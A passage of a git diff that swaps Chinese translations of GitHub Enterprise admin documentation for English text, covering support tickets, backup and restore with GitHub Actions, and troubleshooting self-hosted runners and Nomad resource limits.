a ticket](/enterprise/admin/guides/enterprise-support/preparing-to-submit-a-ticket)." -尽管我们会尽最大努力响应自动支持请求，但与自动事件单系统能够提供的信息相比，我们通常需要更多信息来解决您的问题。 只要有可能，请通过 {% data variables.contact.enterprise_support %} 可以与之交互的人或机器发起支持请求。 更多信息请参阅“[准备提交事件单](/enterprise/admin/guides/enterprise-support/preparing-to-submit-a-ticket)”。 - -## 联系 {% data variables.contact.enterprise_support %} +## Contacting {% data variables.contact.enterprise_support %} {% data reusables.support.zendesk-old-tickets %} -{% data variables.contact.enterprise_support %} 客户可以使用 {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} 或 {% data variables.contact.contact_enterprise_portal %}{% elsif ghae %} {% data variables.contact.contact_ae_portal %}{% endif %} 打开支持单。 更多信息请参阅“[提交事件单](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)”。 +{% data variables.contact.enterprise_support %} customers can open a support ticket using the {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} or the {% data variables.contact.contact_enterprise_portal %}{% elsif ghae %} the {% data variables.contact.contact_ae_portal %}{% endif %}. For more information, see "[Submitting a ticket](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)." {% ifversion ghes %} -## 联系 {% data variables.contact.premium_support %} +## Contacting {% data variables.contact.premium_support %} -{% data variables.contact.enterprise_support %} 客户可以使用 {% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} 或 {% data variables.contact.contact_enterprise_portal %} 打开支持事件单。 将其优先级标为 {% data variables.product.support_ticket_priority_urgent %}、{% data variables.product.support_ticket_priority_high %}、{% data variables.product.support_ticket_priority_normal %} 或 {% data variables.product.support_ticket_priority_low %}。 更多信息请参阅“[为支持事件单分配优先级](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server#assigning-a-priority-to-a-support-ticket)”和“[提交事件单](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)”。 +{% data variables.contact.enterprise_support %} customers can open a support ticket using the {% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} or the {% data variables.contact.contact_enterprise_portal %}. Mark its priority as {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. For more information, see "[Assigning a priority to a support ticket](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server#assigning-a-priority-to-a-support-ticket)" and "[Submitting a ticket](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)." -### 查看过去的支持事件单 +### Viewing past support tickets -您可以使用 {% data variables.contact.enterprise_portal %} 查看过去的支持事件单。 +You can use the {% data variables.contact.enterprise_portal %} to view past support tickets. -1. 导航到 {% data variables.contact.contact_enterprise_portal %}。 -2. 单击 **My tickets（我的事件单）**。 +1. Navigate to the {% data variables.contact.contact_enterprise_portal %}. +2. Click **My tickets**. {% endif %} -## 联系销售 +## Contacting sales -有关定价、许可、续订、报价、付款和其他相关问题，请联系 {% data variables.contact.contact_enterprise_sales %} 或拨打 [+1 (877) 448-4820](tel:+1-877-448-4820)。 +For pricing, licensing, renewals, quotes, payments, and other related questions, contact {% data variables.contact.contact_enterprise_sales %} or call [+1 (877) 448-4820](tel:+1-877-448-4820). {% ifversion ghes %} -## 联系培训 +## Contacting training -要了解有关培训选项（包括自定义培训）的更多信息，请参阅 [{% data variables.product.company_short %} 的培训网站](https://services.github.com/)。 +To learn more about training options, including customized trainings, see [{% data variables.product.company_short %}'s training site](https://services.github.com/). {% note %} -**注意：**培训包含在 {% data variables.product.premium_plus_support_plan %} 中。 更多信息请参阅“[关于 {% data variables.product.prodname_ghe_server %} 的 {% data variables.contact.premium_support %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)”。 +**Note:** Training is included in the {% data variables.product.premium_plus_support_plan %}. For more information, see "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)." {% endnote %} {% endif %} -## 延伸阅读 +## Further reading -- “[关于 {% data variables.contact.enterprise_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)” -- “[关于 {% data variables.product.prodname_ghe_server %} 的 {% data variables.contact.premium_support %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)”。 +- "[About {% data variables.contact.enterprise_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)" +- "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)." diff --git a/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md b/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md index 3fb53c1661..71e3b2a771 100644 --- a/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md +++ b/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md @@ -1,6 +1,6 @@ --- -title: 提交事件单 -intro: '您可以使用 {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} 或支持门户{% elsif ghae %}{% data variables.contact.ae_azure_portal %}{% endif %} 提交支持单。' +title: Submitting a ticket +intro: 'You can submit a support ticket using {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} or the support portal{% elsif ghae %}{% data variables.contact.ae_azure_portal %}{% endif %}.' redirect_from: - /enterprise/admin/enterprise-support/submitting-a-ticket - /admin/enterprise-support/submitting-a-ticket @@ -12,64 +12,65 @@ topics: - Enterprise - Support --- - -## 关于提交事件单 +## About submitting a ticket {% ifversion ghae %} -您可以从 {% data variables.contact.ae_azure_portal %} 通过 {% data variables.product.prodname_ghe_managed %} 提交支持单。 +You can submit a ticket for support with {% data variables.product.prodname_ghe_managed %} from the {% data variables.contact.ae_azure_portal %}. {% endif %} -在提交事件单之前，您应当收集 {% data variables.contact.github_support %} 的有用信息并选择联系人。 更多信息请参阅“[准备提交事件单](/enterprise/admin/guides/enterprise-support/preparing-to-submit-a-ticket)”。 +Before submitting a ticket, you should gather helpful information for {% data variables.contact.github_support %} and choose a contact person. For more information, see "[Preparing to submit a ticket](/enterprise/admin/guides/enterprise-support/preparing-to-submit-a-ticket)." {% ifversion ghes %} -提交支持请求和可选诊断信息后，{% data variables.contact.github_support %} 可能会要求您下载支持包并将其共享给我们。 更多信息请参阅“[将数据提供给 {% data variables.contact.github_support %}](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support)”。 +After submitting your support request and optional diagnostic information, {% data variables.contact.github_support %} may ask you to download and share a support bundle with us. For more information, see "[Providing data to {% data variables.contact.github_support %}](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support)." -## 使用 {% data variables.contact.enterprise_portal %} 提交事件单 +## Submitting a ticket using the {% data variables.contact.enterprise_portal %} {% data reusables.support.zendesk-old-tickets %} -To submit a ticket about {% data variables.product.product_location_enterprise %}, you must be an owner, billing manager, or member with support entitlement. 更多信息请参阅“[管理企业的支持权利](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)”。 +To submit a ticket about {% data variables.product.product_location_enterprise %}, you must be an owner, billing manager, or member with support entitlement. For more information, see "[Managing support entitlements for your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)." If you cannot sign in to your account on {% data variables.product.prodname_dotcom_the_website %} or do not have support entitlement, you can still submit a ticket by providing your license or a diagnostics file from your server. -1. 导航到 {% data variables.contact.contact_support_portal %}。 +1. Navigate to the {% data variables.contact.contact_support_portal %}. {% data reusables.support.submit-a-ticket %} -## 使用 {% data variables.product.product_name %} {% data variables.enterprise.management_console %} 提交事件单。 +## Submitting a ticket using the {% data variables.product.product_name %} {% data variables.enterprise.management_console %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %} {% data reusables.enterprise_management_console.support-link %} -5. 如果您希望在支持事件单中包含诊断，请在“Diagnostics”下单击 **Download diagnostic info** 并将文件保存到本地。 您稍后可将此文件附加到您的支持事件单。 ![用于下载诊断信息的按钮](/assets/images/enterprise/support/download-diagnostics-info-button.png) -6. To complete your ticket and display the {% data variables.contact.enterprise_portal %}, under "Open Support Request", click **New support request**. ![用于打开支持请求的按钮](/assets/images/enterprise/management-console/open-support-request.png) +5. If you'd like to include diagnostics with your support ticket, Under "Diagnostics", click **Download diagnostic info** and save the file locally. You'll attach this file to your support ticket later. + ![Button to download diagnostics info](/assets/images/enterprise/support/download-diagnostics-info-button.png) +6. To complete your ticket and display the {% data variables.contact.enterprise_portal %}, under "Open Support Request", click **New support request**. + ![Button to open a support request](/assets/images/enterprise/management-console/open-support-request.png) {% data reusables.support.submit-a-ticket %} {% endif %} {% ifversion ghae %} -## 基本要求 +## Prerequisites -要在 {% data variables.contact.ae_azure_portal %} 中提交 {% data variables.product.prodname_ghe_managed %} 支持单，您必须将 Azure 中 {% data variables.product.prodname_ghe_managed %} 订阅的 ID 提交到 Microsoft 上的 Customer Success Account Manager (CSAM)。 +To submit a ticket for {% data variables.product.prodname_ghe_managed %} in the {% data variables.contact.ae_azure_portal %}, you must provide the ID for your {% data variables.product.prodname_ghe_managed %} subscription in Azure to your Customer Success Account Manager (CSAM) at Microsoft. -## 使用 {% data variables.contact.ae_azure_portal %}提交事件单 +## Submitting a ticket using the {% data variables.contact.ae_azure_portal %} -商业客户可以在 {% data variables.contact.contact_ae_portal %} 中提交支持请求。 政府客户应该使用[政府客户的 Azure 门户网站](https://portal.azure.us/#blade/Microsoft_Azure_Support/HelpAndSupportBlade)。 更多信息请参阅 Microsoft 文档中的 "[创建 Azure 支持请求](https://docs.microsoft.com/azure/azure-portal/supportability/how-to-create-azure-support-request)"。 +Commercial customers can submit a support request in the {% data variables.contact.contact_ae_portal %}. Government customers should use the [Azure portal for government customers](https://portal.azure.us/#blade/Microsoft_Azure_Support/HelpAndSupportBlade). For more information, see [Create an Azure support request](https://docs.microsoft.com/azure/azure-portal/supportability/how-to-create-azure-support-request) in the Microsoft Docs. -## {% data variables.contact.ae_azure_portal %} 中的问题排除 +## Troubleshooting problems in the {% data variables.contact.ae_azure_portal %} -{% data variables.product.company_short %} 无法排除 Azure 门户中的访问和订阅问题。 有关 Azure 门户的帮助，请联系 Microsoft 的 CSAM 或查看以下信息。 +{% data variables.product.company_short %} is unable to troubleshoot access and subscription issues in the Azure portal. For help with the Azure portal, contact your CSAM at Microsoft or review the following information. -- 如果您无法登录 Azure 门户，请参阅 Microsoft 文档中的[Azure 订阅登录问题故障排除](https://docs.microsoft.com/en-US/azure/cost-management-billing/manage/troubleshoot-sign-in-issue)或[直接提交请求](https://support.microsoft.com/en-us/supportrequestform/84faec50-2cbc-9b8a-6dc1-9dc40bf69178)。 +- If you cannot sign into the Azure portal, see [Troubleshoot Azure subscription sign-in issues](https://docs.microsoft.com/en-US/azure/cost-management-billing/manage/troubleshoot-sign-in-issue) in the Microsoft Docs or [submit a request directly](https://support.microsoft.com/en-us/supportrequestform/84faec50-2cbc-9b8a-6dc1-9dc40bf69178). -- 如果您可以登录 Azure 门户，但无法提交 {% data variables.product.prodname_ghe_managed %} 支持单，请查看提交支持单的先决条件。 更多信息请参阅“[先决条件](#prerequisites)”。 +- If you can sign into the Azure portal but you cannot submit a ticket for {% data variables.product.prodname_ghe_managed %}, review the prerequisites for submitting a ticket. For more information, see "[Prerequisites](#prerequisites)". {% endif %} -## 延伸阅读 +## Further reading -- "[关于 {% data variables.contact.enterprise_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)"{% ifversion ghes %} -- "[关于 {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)."{% endif %} +- "[About {% data variables.contact.enterprise_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)"{% ifversion ghes %} +- "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)."{% endif %} diff --git a/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md b/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md index 1bdd5d376c..63727ee9d8 100644 --- a/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md +++ b/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md @@ -1,7 +1,7 @@ --- -title: 在启用 GitHub Actions 的情况下备份和恢复 GitHub Enterprise Server -shortTitle: 备份和恢复 -intro: '外部存储提供程序上的 {% data variables.product.prodname_actions %} 数据不会包含在常规 {% data variables.product.prodname_ghe_server %} 备份中，必须单独备份。' +title: Backing up and restoring GitHub Enterprise Server with GitHub Actions enabled +shortTitle: Backing up and restoring +intro: '{% data variables.product.prodname_actions %} data on your external storage provider is not included in regular {% data variables.product.prodname_ghe_server %} backups, and must be backed up separately.' versions: ghes: '*' type: how_to @@ -13,18 +13,17 @@ topics: redirect_from: - /admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled --- - {% data reusables.actions.enterprise-storage-ha-backups %} -如果您使用 {% data variables.product.prodname_enterprise_backup_utilities %} 来备份 {% data variables.product.product_location %}，请务必注意，存储在外部存储提供程序上的 {% data variables.product.prodname_actions %} 数据不会包含在备份中。 +If you use {% data variables.product.prodname_enterprise_backup_utilities %} to back up {% data variables.product.product_location %}, it's important to note that {% data variables.product.prodname_actions %} data stored on your external storage provider is not included in the backup. -以下是将带有 {% data variables.product.prodname_actions %} 的 {% data variables.product.product_location %} 恢复到新设备所需步骤的概述： +This is an overview of the steps required to restore {% data variables.product.product_location %} with {% data variables.product.prodname_actions %} to a new appliance: -1. 确认原始设备处于脱机状态。 -1. 在替换 {% data variables.product.prodname_ghe_server %} 设备上手动配置网络设置。 网络设置被排除在备份快照之外，不会被 `ghe-resturn` 覆盖。 -1. 配置替换设备以使用与原设备相同的 {% data variables.product.prodname_actions %} 外部存储配置。 -1. 在替换设备上启用 {% data variables.product.prodname_actions %}。 这将把替换设备连接到 {% data variables.product.prodname_actions %} 的相同外部存储。 -1. 在使用外部存储提供程序配置 {% data variables.product.prodname_actions %} 后，使用 `ghe-resting` 命令从备份中恢复其余数据。 更多信息请参阅“[恢复备份](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup)”。 -1. 在替换设备上重新注册自托管运行器。 更多信息请参阅[添加自托管运行器](/actions/hosting-your-own-runners/adding-self-hosted-runners)。 +1. Confirm that the original appliance is offline. +1. Manually configure network settings on the replacement {% data variables.product.prodname_ghe_server %} appliance. Network settings are excluded from the backup snapshot, and are not overwritten by `ghe-restore`. +1. Configure the replacement appliance to use the same {% data variables.product.prodname_actions %} external storage configuration as the original appliance. +1. Enable {% data variables.product.prodname_actions %} on the replacement appliance. This will connect the replacement appliance to the same external storage for {% data variables.product.prodname_actions %}. +1. After {% data variables.product.prodname_actions %} is configured with the external storage provider, use the `ghe-restore` command to restore the rest of the data from the backup. For more information, see "[Restoring a backup](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup)." +1. Re-register your self-hosted runners on the replacement appliance. For more information, see [Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners). -有关备份和恢复 {% data variables.product.prodname_ghe_server %} 的更多信息，请参阅“[在设备上配置备份](/admin/configuration/configuring-backups-on-your-appliance)”。 +For more information on backing up and restoring {% data variables.product.prodname_ghe_server %}, see "[Configuring backups on your appliance](/admin/configuration/configuring-backups-on-your-appliance)." diff --git a/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md b/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md index bbffef4a46..41a97dbb65 100644 --- a/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md +++ b/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md @@ -1,6 +1,6 @@ --- -title: 高级配置和故障排除 -intro: '配置 {% data variables.product.prodname_actions %} 的高可用性，并在 {% data variables.product.prodname_ghe_server %} 上排查 {% data variables.product.prodname_actions %} 故障。' +title: Advanced configuration and troubleshooting +intro: 'Configure high availability for {% data variables.product.prodname_actions %}, and troubleshoot {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}.' versions: ghes: '*' topics: @@ -10,6 +10,6 @@ children: - /backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled - /using-a-staging-environment - /troubleshooting-github-actions-for-your-enterprise -shortTitle: HA 和故障排除 +shortTitle: HA & troubleshooting --- diff --git a/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md b/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md index 3e23b170ab..3e1182668d 100644 --- a/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: 企业 GitHub Actions 故障排除 -intro: '在 {% data variables.product.prodname_ghe_server %} 上使用 {% data variables.product.prodname_actions %} 时的常见问题疑难解答。' +title: Troubleshooting GitHub Actions for your enterprise +intro: 'Troubleshooting common issues that occur when using {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}.' permissions: 'Site administrators can troubleshoot {% data variables.product.prodname_actions %} issues and modify {% data variables.product.prodname_ghe_server %} configurations.' versions: ghes: '*' @@ -11,69 +11,68 @@ topics: - Troubleshooting redirect_from: - /admin/github-actions/troubleshooting-github-actions-for-your-enterprise -shortTitle: GitHub Actions 故障排除 +shortTitle: Troubleshoot GitHub Actions --- +## Configuring self-hosted runners when using a self-signed certificate for {% data variables.product.prodname_ghe_server %} -## 使用 {% data variables.product.prodname_ghe_server %} 自签名证书时配置自托管的运行器 +{% data reusables.actions.enterprise-self-signed-cert %} For more information, see "[Configuring TLS](/admin/configuration/configuring-tls)." -{% data reusables.actions.enterprise-self-signed-cert %} 更多信息请参阅“[配置 TLS](/admin/configuration/configuring-tls)”。 +### Installing the certificate on the runner machine -### 在运行器上安装证书 +For a self-hosted runner to connect to a {% data variables.product.prodname_ghe_server %} using a self-signed certificate, you must install the certificate on the runner machine so that the connection is security hardened. -为使自托管的运行器使用自签名证书连接到 {% data variables.product.prodname_ghe_server %}，您必须在运行器上安装证书以增强连接安全。 +For the steps required to install a certificate, refer to the documentation for your runner's operating system. -有关安装证书所需的步骤，请参阅运行器操作系统的文件。 +### Configuring Node.JS to use the certificate -### 配置 Node.JS 使用证书 +Most actions are written in JavaScript and run using Node.js, which does not use the operating system certificate store. For the self-hosted runner application to use the certificate, you must set the `NODE_EXTRA_CA_CERTS` environment variable on the runner machine. -大多数操作都以 JavaScript 编写并使用 Node.js，这不会使用操作系统证书存储。 要使自托管的运行器使用证书，您必须在运行器上设置 `NODE_EXTRA_CA_CERTS` 环境变量。 +You can set the environment variable as a system environment variable, or declare it in a file named _.env_ in the self-hosted runner application directory. -您可以将环境变量设置为系统环境变量，或在自托管运行器应用程序目录中声明名为 _.env_ 的文件。 - -例如： +For example: ```shell NODE_EXTRA_CA_CERTS=/usr/share/ca-certificates/extra/mycertfile.crt ``` -当自托管的运行器应用程序启动时，环境变量将被读取，因此您必须在配置或启动自托管的运行器应用程序之前设置环境变量。 如果您的证书配置更改，您必须重新启动自托管的运行器应用程序。 +Environment variables are read when the self-hosted runner application starts, so you must set the environment variable before configuring or starting the self-hosted runner application. If your certificate configuration changes, you must restart the self-hosted runner application. -### 配置 Docker 容器使用证书 +### Configuring Docker containers to use the certificate -如果您在工作流程中使用 Docker 容器操作或服务容器，则除了设置上述环境变量外，您可能还需要在 Docker 映像中安装证书。 +If you use Docker container actions or service containers in your workflows, you might also need to install the certificate in your Docker image in addition to setting the above environment variable. -## 配置 {% data variables.product.prodname_actions %} 的 HTTP 代理设置 +## Configuring HTTP proxy settings for {% data variables.product.prodname_actions %} {% data reusables.actions.enterprise-http-proxy %} -如果这些设置未正确配置，则在设置或更改 {% data variables.product.prodname_actions %} 配置时可能会收到诸如 `Resource unexpectedly moved to https://（资源意外移动到 https://）`的错误。 +If these settings aren't correctly configured, you might receive errors like `Resource unexpectedly moved to https://` when setting or changing your {% data variables.product.prodname_actions %} configuration. -## 运行器在更改主机名后未连接到 {% data variables.product.prodname_ghe_server %} +## Runners not connecting to {% data variables.product.prodname_ghe_server %} after changing the hostname -如果更改 {% data variables.product.product_location %} 的主机名，自托管运行器将无法连接到旧主机名，并且不会执行任何作业。 +If you change the hostname of {% data variables.product.product_location %}, self-hosted runners will be unable to connect to the old hostname, and will not execute any jobs. -您将需要更新自托管运行器的配置，以对 {% data variables.product.product_location %} 使用新的主机名。 每个自托管运行器将需要以下程序之一： +You will need to update the configuration of your self-hosted runners to use the new hostname for {% data variables.product.product_location %}. Each self-hosted runner will require one of the following procedures: -* 在自托管的运行器应用程序目录中，编辑 `.runner` 和 `. redentials` 文件以将旧主机名替换为新主机名，然后重新启动自托管的运行器应用程序。 -* 使用 UI 从 {% data variables.product.prodname_ghe_server %} 移除运行器，并重新添加。 更多信息请参阅“[删除自托管的运行器](/actions/hosting-your-own-runners/removing-self-hosted-runners)”和“[添加自托管的运行器](/actions/hosting-your-own-runners/adding-self-hosted-runners)”。 +* In the self-hosted runner application directory, edit the `.runner` and `.credentials` files to replace all mentions of the old hostname with the new hostname, then restart the self-hosted runner application. +* Remove the runner from {% data variables.product.prodname_ghe_server %} using the UI, and re-add it. For more information, see "[Removing self-hosted runners](/actions/hosting-your-own-runners/removing-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." -## 作业卡住以及 {% data variables.product.prodname_actions %} 内存和 CPU 限制 +## Stuck jobs and {% data variables.product.prodname_actions %} memory and CPU limits -{% data variables.product.prodname_actions %} 由运行在 {% data variables.product.product_location %} 上的多项服务组成。 默认情况下，这些服务使用默认的 CPU 和内存限制设置，大多数情况下都适用。 但是，当 {% data variables.product.prodname_actions %} 用户多时，可能需要调整这些设置。 +{% data variables.product.prodname_actions %} is composed of multiple services running on {% data variables.product.product_location %}. By default, these services are set up with default CPU and memory limits that should work for most instances. However, heavy users of {% data variables.product.prodname_actions %} might need to adjust these settings. -如果您注意到作业未开始，或者任务进度在 UI 中不更新或改变，可能是达到了 CPU 或内存限制（即使有空闲的运行器）。 +You may be hitting the CPU or memory limits if you notice that jobs are not starting (even though there are idle runners), or if the job's progress is not updating or changing in the UI. -### 1. 在管理控制台中检查整体 CPU 和内存使用情况 +### 1. Check the overall CPU and memory usage in the management console -访问管理控制台并使用监控仪表板来检查“System Health（系统健康）”下的整体 CPU 和内存图。 更多信息请参阅“[访问监控仪表板](/admin/enterprise-management/accessing-the-monitor-dashboard)”。 +Access the management console and use the monitor dashboard to inspect the overall CPU and memory graphs under "System Health". For more information, see "[Accessing the monitor dashboard](/admin/enterprise-management/accessing-the-monitor-dashboard)." -如果总体“系统健康”CPU 使用接近 100%，或者没有可用的内存，则表示 {% data variables.product.product_location %} 在满负荷运行，需要扩展。 更多信息请参阅“[增加 CPU 或内存资源](/admin/enterprise-management/increasing-cpu-or-memory-resources)”。 +If the overall "System Health" CPU usage is close to 100%, or there is no free memory left, then {% data variables.product.product_location %} is running at capacity and needs to be scaled up. For more information, see "[Increasing CPU or memory resources](/admin/enterprise-management/increasing-cpu-or-memory-resources)." -### 2. 在管理控制台中检查 Nomad Jobs CPU 和内存使用情况 +### 2. Check the Nomad Jobs CPU and memory usage in the management console -如果总体“系统健康”CPU 和内存使用情况正常，请向下滚动监控仪表板页面到“Nomad Jobs”部分，并查看“CPU 百分比值”和“内存使用情况”图。 +If the overall "System Health" CPU and memory usage is OK, scroll down the monitor dashboard page to the "Nomad Jobs" section, and look at the "CPU Percent Value" and "Memory Usage" graphs. -这些图表中的每幅图都对应于一项服务。 对于 {% data variables.product.prodname_actions %} 服务，请查询： +Each plot in these graphs corresponds to one service. For {% data variables.product.prodname_actions %} services, look for: * `mps_frontend` * `mps_backend` @@ -82,18 +81,18 @@ NODE_EXTRA_CA_CERTS=/usr/share/ca-certificates/extra/mycertfile.crt * `actions_frontend` * `actions_backend` -如果其中任何一项服务达到或接近 100% CPU 利用率，或者内存接近其限制（默认情况下为 2 GB），则这些服务的资源配置可能需要增加。 请注意上述服务中哪些已经达到或接近极限。 +If any of these services are at or near 100% CPU utilization, or the memory is near their limit (2 GB by default), then the resource allocation for these services might need increasing. Take note of which of the above services are at or near their limit. -### 3. 对达到限制的服务增加资源分配 +### 3. Increase the resource allocation for services at their limit -1. 使用 SSH 登录到管理 shell。 更多信息请参阅“[访问管理 shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)。” -1. 运行以下命令，查看可用于分配的资源： +1. Log in to the administrative shell using SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." +1. Run the following command to see what resources are available for allocation: ```shell nomad node status -self ``` - 在输出中找到“Allocated Resources（分配的资源）”部分。 它看起来类似于以下示例： + In the output, find the "Allocated Resources" section. It looks similar to the following example: ``` Allocated Resources @@ -101,25 +100,25 @@ NODE_EXTRA_CA_CERTS=/usr/share/ca-certificates/extra/mycertfile.crt 7740/49600 MHZ 23 GiB/32 GiB 4.4 GiB/7.9 GiB ``` - 对于 CPU 和内存，这会显示**所有**服务**总共**分配了多少资源（左侧值）以及有多少可用资源（右侧值）。 在上面的示例中，总共有 32 GiB 内存，分配 23 GiB。 这意味着有 9 GiB 内存可供分配。 + For CPU and memory, this shows how much is allocated to the **total** of **all** services (the left value) and how much is available (the right value). In the example above, there is 23 GiB of memory allocated out of 32 GiB total. This means there is 9 GiB of memory available for allocation. {% warning %} - **警告：**小心不要分配超过可用资源总额，否则服务将无法启动。 + **Warning:** Be careful not to allocate more than the total available resources, or services will fail to start. {% endwarning %} -1. 将目录更改为 `/etc/consult-templates/etc/nomad-jobs/actions`： +1. Change directory to `/etc/consul-templates/etc/nomad-jobs/actions`: ```shell cd /etc/consul-templates/etc/nomad-jobs/actions ``` - 在此目录中，有三个文件与上面的 {% data variables.product.prodname_actions %} 服务对应： + In this directory there are three files that correspond to the {% data variables.product.prodname_actions %} services from above: * `mps.hcl.ctmpl` * `token.hcl.ctmpl` * `actions.hcl.ctmpl` -1. 对于您确定需要调整的服务，打开相应的文件，并找到看起来如下的 `resources` 组： +1. For the services that you identified that need adjustment, open the corresponding file and locate the `resources` group that looks like the following: ``` resources { @@ -131,9 +130,9 @@ NODE_EXTRA_CA_CERTS=/usr/share/ca-certificates/extra/mycertfile.crt } ``` - CPU 资源的值以 MHz 为单位，而内存资源以 MB 为单位。 + The values are in MHz for CPU resources, and MB for memory resources. - 例如，要将上述示例中的资源限制增加到 1 GHz 的 CPU 和 4 GB 的内存，则将其更改为： + For example, to increase the resource limits in the above example to 1 GHz for the CPU and 4 GB of memory, change it to: ``` resources { @@ -144,11 +143,11 @@ NODE_EXTRA_CA_CERTS=/usr/share/ca-certificates/extra/mycertfile.crt } } ``` -1. 保存并退出文件。 -1. 运行 `ghe-config-apply` 以应用更改。 +1. Save and exit the file. +1. Run `ghe-config-apply` to apply the changes. - 运行 `ghe-config-apply` 时，如果你看到类似于 `Failed to run nomad job '/etc/nomad-jobs/.hcl'` 的输出，则更改可能分配过多的 CPU 或内存资源。 如果发生这种情况，请再次编辑配置文件并降低分配的 CPU 或内存，然后重新运行 `ghe-config-apply`。 -1. 在应用配置后，运行 `ghe-actions-check` 来验证 {% data variables.product.prodname_actions %} 服务是否正常运行。 + When running `ghe-config-apply`, if you see output like `Failed to run nomad job '/etc/nomad-jobs/.hcl'`, then the change has likely over-allocated CPU or memory resources. If this happens, edit the configuration files again and lower the allocated CPU or memory, then re-run `ghe-config-apply`. +1. After the configuration is applied, run `ghe-actions-check` to verify that the {% data variables.product.prodname_actions %} services are operational. {% ifversion fpt or ghec or ghes > 3.2 %} ## Troubleshooting failures when {% data variables.product.prodname_dependabot %} triggers existing workflows @@ -167,15 +166,15 @@ There are three ways to resolve this problem: ### Providing workflows triggered by {% data variables.product.prodname_dependabot %} access to secrets and increased permissions -1. 使用 SSH 登录到管理 shell。 更多信息请参阅“[访问管理 shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)。” +1. Log in to the administrative shell using SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." 1. To remove the limitations on workflows triggered by {% data variables.product.prodname_dependabot %} on {% data variables.product.product_location %}, use the following command. ``` shell $ ghe-config app.actions.disable-dependabot-enforcement true ``` -1. 应用配置。 +1. Apply the configuration. ```shell $ ghe-config-apply ``` -1. 返回到 {% data variables.product.prodname_ghe_server %}。 +1. Return to {% data variables.product.prodname_ghe_server %}. -{% endif %} +{% endif %} \ No newline at end of file diff --git a/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md 